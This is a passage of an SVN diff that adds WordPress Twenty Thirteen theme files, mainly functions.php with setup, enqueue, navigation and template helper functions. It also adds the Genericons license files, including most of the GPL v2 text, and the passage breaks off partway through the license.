+ * @uses add_theme_support() To add support for automatic feed links, post
+ * formats, and post thumbnails.
+ * @uses register_nav_menu() To add support for a navigation menu.
+ * @uses set_post_thumbnail_size() To set a custom post thumbnail size.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_setup() {
+	/*
+	 * Makes Twenty Thirteen available for translation.
+	 *
+	 * Translations can be added to the /languages/ directory.
+	 * If you're building a theme based on Twenty Thirteen, use a find and
+	 * replace to change 'twentythirteen' to the name of your theme in all
+	 * template files.
+	 */
+	load_theme_textdomain( 'twentythirteen', get_template_directory() . '/languages' );
+
+	/*
+	 * This theme styles the visual editor to resemble the theme style,
+	 * specifically font, colors, icons, and column width.
+	 */
+	add_editor_style( array( 'css/editor-style.css', 'genericons/genericons.css', twentythirteen_fonts_url() ) );
+
+	// Adds RSS feed links to <head> for posts and comments.
+	add_theme_support( 'automatic-feed-links' );
+
+	/*
+	 * Switches default core markup for search form, comment form,
+	 * and comments to output valid HTML5.
+	 */
+	add_theme_support( 'html5', array(
+		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
+	) );
+
+	/*
+	 * This theme supports all available post formats by default.
+	 * See http://codex.wordpress.org/Post_Formats
+	 */
+	add_theme_support( 'post-formats', array(
+		'aside', 'audio', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video'
+	) );
+
+	// This theme uses wp_nav_menu() in one location.
+	register_nav_menu( 'primary', __( 'Navigation Menu', 'twentythirteen' ) );
+
+	/*
+	 * This theme uses a custom image size for featured images, displayed on
+	 * "standard" posts and pages.
+	 */
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 604, 270, true );
+
+	// This theme uses its own gallery styles.
+	add_filter( 'use_default_gallery_style', '__return_false' );
+}
+add_action( 'after_setup_theme', 'twentythirteen_setup' );
+
+/**
+ * Return the Google font stylesheet URL, if available.
+ *
+ * The use of Source Sans Pro and Bitter by default is localized. For languages
+ * that use characters not supported by the font, the font can be disabled.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @return string Font stylesheet or empty string if disabled.
+ */
+function twentythirteen_fonts_url() {
+	$fonts_url = '';
+
+	/* Translators: If there are characters in your language that are not
+	 * supported by Source Sans Pro, translate this to 'off'. Do not translate
+	 * into your own language.
+	 */
+	$source_sans_pro = _x( 'on', 'Source Sans Pro font: on or off', 'twentythirteen' );
+
+	/* Translators: If there are characters in your language that are not
+	 * supported by Bitter, translate this to 'off'. Do not translate into your
+	 * own language.
+	 */
+	$bitter = _x( 'on', 'Bitter font: on or off', 'twentythirteen' );
+
+	if ( 'off' !== $source_sans_pro || 'off' !== $bitter ) {
+		$font_families = array();
+
+		if ( 'off' !== $source_sans_pro )
+			$font_families[] = 'Source Sans Pro:300,400,700,300italic,400italic,700italic';
+
+		if ( 'off' !== $bitter )
+			$font_families[] = 'Bitter:400,700';
+
+		$query_args = array(
+			'family' => urlencode( implode( '|', $font_families ) ),
+			'subset' => urlencode( 'latin,latin-ext' ),
+		);
+		$fonts_url = add_query_arg( $query_args, "//fonts.googleapis.com/css" );
+	}
+
+	return $fonts_url;
+}
+
+/**
+ * Enqueue scripts and styles for the front end.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_scripts_styles() {
+	/*
+	 * Adds JavaScript to pages with the comment form to support
+	 * sites with threaded comments (when in use).
+	 */
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
+		wp_enqueue_script( 'comment-reply' );
+
+	// Adds Masonry to handle vertical alignment of footer widgets.
+	if ( is_active_sidebar( 'sidebar-1' ) )
+		wp_enqueue_script( 'jquery-masonry' );
+
+	// Loads JavaScript file with functionality specific to Twenty Thirteen.
+	wp_enqueue_script( 'twentythirteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '2014-06-08', true );
+
+	// Add Source Sans Pro and Bitter fonts, used in the main stylesheet.
+	wp_enqueue_style( 'twentythirteen-fonts', twentythirteen_fonts_url(), array(), null );
+
+	// Add Genericons font, used in the main stylesheet.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.03' );
+
+	// Loads our main stylesheet.
+	wp_enqueue_style( 'twentythirteen-style', get_stylesheet_uri(), array(), '2013-07-18' );
+
+	// Loads the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentythirteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentythirteen-style' ), '2013-07-18' );
+	wp_style_add_data( 'twentythirteen-ie', 'conditional', 'lt IE 9' );
+}
+add_action( 'wp_enqueue_scripts', 'twentythirteen_scripts_styles' );
+
+/**
+ * Filter the page title.
+ *
+ * Creates a nicely formatted and more specific title element text for output
+ * in head of document, based on current view.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @param string $title Default title text for current view.
+ * @param string $sep   Optional separator.
+ * @return string The filtered title.
+ */
+function twentythirteen_wp_title( $title, $sep ) {
+	global $paged, $page;
+
+	if ( is_feed() )
+		return $title;
+
+	// Add the site name.
+	$title .= get_bloginfo( 'name', 'display' );
+
+	// Add the site description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) )
+		$title = "$title $sep $site_description";
+
+	// Add a page number if necessary.
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
+		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentythirteen' ), max( $paged, $page ) );
+
+	return $title;
+}
+add_filter( 'wp_title', 'twentythirteen_wp_title', 10, 2 );
+
+/**
+ * Register two widget areas.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_widgets_init() {
+	register_sidebar( array(
+		'name'          => __( 'Main Widget Area', 'twentythirteen' ),
+		'id'            => 'sidebar-1',
+		'description'   => __( 'Appears in the footer section of the site.', 'twentythirteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h3 class="widget-title">',
+		'after_title'   => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name'          => __( 'Secondary Widget Area', 'twentythirteen' ),
+		'id'            => 'sidebar-2',
+		'description'   => __( 'Appears on posts and pages in the sidebar.', 'twentythirteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h3 class="widget-title">',
+		'after_title'   => '</h3>',
+	) );
+}
+add_action( 'widgets_init', 'twentythirteen_widgets_init' );
+
+if ( ! function_exists( 'twentythirteen_paging_nav' ) ) :
+/**
+ * Display navigation to next/previous set of posts when applicable.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_paging_nav() {
+	global $wp_query;
+
+	// Don't print empty markup if there's only one page.
+	if ( $wp_query->max_num_pages < 2 )
+		return;
+	?>
+	<nav class="navigation paging-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Posts navigation', 'twentythirteen' ); ?></h1>
+		<div class="nav-links">
+
+			<?php if ( get_next_posts_link() ) : ?>
+			<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentythirteen' ) ); ?></div>
+			<?php endif; ?>
+
+			<?php if ( get_previous_posts_link() ) : ?>
+			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentythirteen' ) ); ?></div>
+			<?php endif; ?>
+
+		</div><!-- .nav-links -->
+	</nav><!-- .navigation -->
+	<?php
+}
+endif;
+
+if ( ! function_exists( 'twentythirteen_post_nav' ) ) :
+/**
+ * Display navigation to next/previous post when applicable.
+*
+* @since Twenty Thirteen 1.0
+*/
+function twentythirteen_post_nav() {
+	global $post;
+
+	// Don't print empty markup if there's nowhere to navigate.
+	$previous = ( is_attachment() ) ? get_post( $post->post_parent ) : get_adjacent_post( false, '', true );
+	$next     = get_adjacent_post( false, '', false );
+
+	if ( ! $next && ! $previous )
+		return;
+	?>
+	<nav class="navigation post-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Post navigation', 'twentythirteen' ); ?></h1>
+		<div class="nav-links">
+
+			<?php previous_post_link( '%link', _x( '<span class="meta-nav">&larr;</span> %title', 'Previous post link', 'twentythirteen' ) ); ?>
+			<?php next_post_link( '%link', _x( '%title <span class="meta-nav">&rarr;</span>', 'Next post link', 'twentythirteen' ) ); ?>
+
+		</div><!-- .nav-links -->
+	</nav><!-- .navigation -->
+	<?php
+}
+endif;
+
+if ( ! function_exists( 'twentythirteen_entry_meta' ) ) :
+/**
+ * Print HTML with meta information for current post: categories, tags, permalink, author, and date.
+ *
+ * Create your own twentythirteen_entry_meta() to override in a child theme.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_entry_meta() {
+	if ( is_sticky() && is_home() && ! is_paged() )
+		echo '<span class="featured-post">' . __( 'Sticky', 'twentythirteen' ) . '</span>';
+
+	if ( ! has_post_format( 'link' ) && 'post' == get_post_type() )
+		twentythirteen_entry_date();
+
+	// Translators: used between list items, there is a space after the comma.
+	$categories_list = get_the_category_list( __( ', ', 'twentythirteen' ) );
+	if ( $categories_list ) {
+		echo '<span class="categories-links">' . $categories_list . '</span>';
+	}
+
+	// Translators: used between list items, there is a space after the comma.
+	$tag_list = get_the_tag_list( '', __( ', ', 'twentythirteen' ) );
+	if ( $tag_list ) {
+		echo '<span class="tags-links">' . $tag_list . '</span>';
+	}
+
+	// Post author
+	if ( 'post' == get_post_type() ) {
+		printf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>',
+			esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+			esc_attr( sprintf( __( 'View all posts by %s', 'twentythirteen' ), get_the_author() ) ),
+			get_the_author()
+		);
+	}
+}
+endif;
+
+if ( ! function_exists( 'twentythirteen_entry_date' ) ) :
+/**
+ * Print HTML with date information for current post.
+ *
+ * Create your own twentythirteen_entry_date() to override in a child theme.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @param boolean $echo (optional) Whether to echo the date. Default true.
+ * @return string The HTML-formatted post date.
+ */
+function twentythirteen_entry_date( $echo = true ) {
+	if ( has_post_format( array( 'chat', 'status' ) ) )
+		$format_prefix = _x( '%1$s on %2$s', '1: post format name. 2: date', 'twentythirteen' );
+	else
+		$format_prefix = '%2$s';
+
+	$date = sprintf( '<span class="date"><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a></span>',
+		esc_url( get_permalink() ),
+		esc_attr( sprintf( __( 'Permalink to %s', 'twentythirteen' ), the_title_attribute( 'echo=0' ) ) ),
+		esc_attr( get_the_date( 'c' ) ),
+		esc_html( sprintf( $format_prefix, get_post_format_string( get_post_format() ), get_the_date() ) )
+	);
+
+	if ( $echo )
+		echo $date;
+
+	return $date;
+}
+endif;
+
+if ( ! function_exists( 'twentythirteen_the_attached_image' ) ) :
+/**
+ * Print the attached image with a link to the next attached image.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_the_attached_image() {
+	/**
+	 * Filter the image attachment size to use.
+	 *
+	 * @since Twenty thirteen 1.0
+	 *
+	 * @param array $size {
+	 *     @type int The attachment height in pixels.
+	 *     @type int The attachment width in pixels.
+	 * }
+	 */
+	$attachment_size     = apply_filters( 'twentythirteen_attachment_size', array( 724, 724 ) );
+	$next_attachment_url = wp_get_attachment_url();
+	$post                = get_post();
+
+	/*
+	 * Grab the IDs of all the image attachments in a gallery so we can get the URL
+	 * of the next adjacent image in a gallery, or the first image (if we're
+	 * looking at the last image in a gallery), or, in a gallery of one, just the
+	 * link to that image file.
+	 */
+	$attachment_ids = get_posts( array(
+		'post_parent'    => $post->post_parent,
+		'fields'         => 'ids',
+		'numberposts'    => -1,
+		'post_status'    => 'inherit',
+		'post_type'      => 'attachment',
+		'post_mime_type' => 'image',
+		'order'          => 'ASC',
+		'orderby'        => 'menu_order ID'
+	) );
+
+	// If there is more than 1 attachment in a gallery...
+	if ( count( $attachment_ids ) > 1 ) {
+		foreach ( $attachment_ids as $attachment_id ) {
+			if ( $attachment_id == $post->ID ) {
+				$next_id = current( $attachment_ids );
+				break;
+			}
+		}
+
+		// get the URL of the next image attachment...
+		if ( $next_id )
+			$next_attachment_url = get_attachment_link( $next_id );
+
+		// or get the URL of the first image attachment.
+		else
+			$next_attachment_url = get_attachment_link( array_shift( $attachment_ids ) );
+	}
+
+	printf( '<a href="%1$s" title="%2$s" rel="attachment">%3$s</a>',
+		esc_url( $next_attachment_url ),
+		the_title_attribute( array( 'echo' => false ) ),
+		wp_get_attachment_image( $post->ID, $attachment_size )
+	);
+}
+endif;
+
+/**
+ * Return the post URL.
+ *
+ * @uses get_url_in_content() to get the URL in the post meta (if it exists) or
+ * the first link found in the post content.
+ *
+ * Falls back to the post permalink if no URL is found in the post.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @return string The Link format URL.
+ */
+function twentythirteen_get_link_url() {
+	$content = get_the_content();
+	$has_url = get_url_in_content( $content );
+
+	return ( $has_url ) ? $has_url : apply_filters( 'the_permalink', get_permalink() );
+}
+
+if ( ! function_exists( 'twentythirteen_excerpt_more' ) && ! is_admin() ) :
+/**
+ * Replaces "[...]" (appended to automatically generated excerpts) with ...
+ * and a Continue reading link.
+ *
+ * @since Twenty Thirteen 1.4
+ *
+ * @param string $more Default Read More excerpt link.
+ * @return string Filtered Read More excerpt link.
+ */
+function twentythirteen_excerpt_more( $more ) {
+	$link = sprintf( '<a href="%1$s" class="more-link">%2$s</a>',
+		esc_url( get_permalink( get_the_ID() ) ),
+			/* translators: %s: Name of current post */
+			sprintf( __( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ), '<span class="screen-reader-text">' . get_the_title( get_the_ID() ) . '</span>' )
+		);
+	return ' &hellip; ' . $link;
+}
+add_filter( 'excerpt_more', 'twentythirteen_excerpt_more' );
+endif;
+
+/**
+ * Extend the default WordPress body classes.
+ *
+ * Adds body classes to denote:
+ * 1. Single or multiple authors.
+ * 2. Active widgets in the sidebar to change the layout and spacing.
+ * 3. When avatars are disabled in discussion settings.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @param array $classes A list of existing body class values.
+ * @return array The filtered body class list.
+ */
+function twentythirteen_body_class( $classes ) {
+	if ( ! is_multi_author() )
+		$classes[] = 'single-author';
+
+	if ( is_active_sidebar( 'sidebar-2' ) && ! is_attachment() && ! is_404() )
+		$classes[] = 'sidebar';
+
+	if ( ! get_option( 'show_avatars' ) )
+		$classes[] = 'no-avatars';
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentythirteen_body_class' );
+
+/**
+ * Adjust content_width value for video post formats and attachment templates.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_content_width() {
+	global $content_width;
+
+	if ( is_attachment() )
+		$content_width = 724;
+	elseif ( has_post_format( 'audio' ) )
+		$content_width = 484;
+}
+add_action( 'template_redirect', 'twentythirteen_content_width' );
+
+/**
+ * Add postMessage support for site title and description for the Customizer.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize Customizer object.
+ */
+function twentythirteen_customize_register( $wp_customize ) {
+	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
+}
+add_action( 'customize_register', 'twentythirteen_customize_register' );
+
+/**
+ * Enqueue Javascript postMessage handlers for the Customizer.
+ *
+ * Binds JavaScript handlers to make the Customizer preview
+ * reload changes asynchronously.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_customize_preview_js() {
+	wp_enqueue_script( 'twentythirteen-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '20141120', true );
+}
+add_action( 'customize_preview_init', 'twentythirteen_customize_preview_js' );
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/COPYING.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/COPYING.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/COPYING.txt	(revision 33402)
@@ -0,0 +1,9 @@
+Genericons is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
+
+The fonts are distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+As a special exception, if you create a document which uses this font, and embed this font or unaltered portions of this font into the document, this font does not by itself cause the resulting document to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the document might be covered by the GNU General Public License. If you modify this font, you may extend this exception to your version of the font, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
+
+This license does not convey any intellectual property rights to third party trademarks that may be included in the icon font; such marks remain subject to all rights and guidelines of use of their owner.
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/LICENSE.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/LICENSE.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/LICENSE.txt	(revision 33402)
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
